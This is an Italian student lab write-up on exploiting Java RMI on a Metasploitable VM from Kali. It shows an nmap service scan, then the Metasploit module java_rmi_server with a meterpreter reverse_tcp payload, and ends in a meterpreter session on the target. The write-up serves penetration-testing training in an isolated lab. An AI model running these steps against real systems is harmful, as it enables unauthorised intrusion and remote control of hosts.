S7L5:

EXPLOIT JAVA RMI

DARIO SANTIGLIANO

FASI DEL PROGETTO

Scansione

metasploit

exploit

Indirizzi IP

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:28:5d:63
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.2
          inet6 addr: fe80::a00:27ff:fe28:5d63/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:51 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:3962 (3.8 KB)
          Base address:0xd020 Memory:f0200000-f0220000
```

192.168.11.112

```
kali@kali: ~
┌──(kali㉿kali)-[~]
└─$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.11.111  netmask 255.255.255.0  broadcast 192.168.11.255
        inet6 fe80::a00:27ff:fe5d:41c4  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:5d:41:c4  txqueuelen 1000  (Ethernet)
        RX packets 19  bytes 1366 (1.3 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 29  bytes 3214 (3.1 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

192.168.11.111

Per prima cosa andiamo a cambiare gli indirizzi IP delle due macchine come richiesto dalla traccia

Scansione

In questa prima fase ho utilizzato il tool nmap per effettuare una scansione sulla macchina meta per trovare il servizio java RMI;

è un framework di programmazione che consente a un'applicazione Java di eseguire metodi su oggetti remoti.

Nello screenshot possiamo vedere come il servizio risulti attivo e in ascolto sulla porta 1099.

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV 192.168.11.112
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-20 14:55 CET
Nmap scan report for 192.168.11.112
Host is up (0.0011s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  shell       Netkit rshd
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE:

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.66 seconds
```

METASPLOIT

In questa seconda fase andremo ad utilizzare Metasploit, un framework di test di penetrazione open source ampiamente utilizzato per lo sviluppo, il test e l'esecuzione di exploit contro sistemi informatici.

```
msf6 > search java_rmi

Matching Modules
================

   #  Name                                              Disclosure Date  R
   -  ----                                              ---------------  -
   0  auxiliary/gather/java_rmi_registry                                 n
   1  exploit/multi/misc/java_rmi_server                2011-10-15       e
   2  auxiliary/scanner/misc/java_rmi_server            2011-10-15       n
   3  exploit/multi/browser/java_rmi_connection_impl    2010-03-31       e


Interact with a module by name or index. For example info 3, use 3 or us

msf6 > use 1
```

Tramite il comando search andiamo a trovare l'exploit che ci serve per completare l'esercizio

In questo caso

"exploit/multi/misc/java_rmi_server"

Procediamo tramite il comando “show options” a configurare i parametri che ci servono come il payload, che in questo caso non andremo a toccare, ed il rhosts, dove immetteremo L’indirizzo IP della macchina Meta.

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-me
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.11.111   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
```

EXPLOIT

Ora che abbiamo configurato tutti i parametri necessari possiamo procedere all'avvio dell'exploit.

Meterpreter aprirà una shell dove saremo in grado di ottenere informazioni sulla macchina e la tabella di routing.

```
meterpreter > ifconfig

Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
meterpreter > route

IPv4 network routes
===================

    Subnet           Netmask        Gateway  Metric  Interface
    ------           -------        -------  ------  ---------
    127.0.0.1        255.0.0.0      0.0.0.0
    192.168.11.112   255.255.255.0  0.0.0.0


IPv6 network routes
===================

    Subnet                    Netmask  Gateway  Metric  Interface
    ------                    -------  -------  ------  ---------
    ::1                       ::       ::
    fe80::a00:27ff:fe28:5d63  ::       ::
```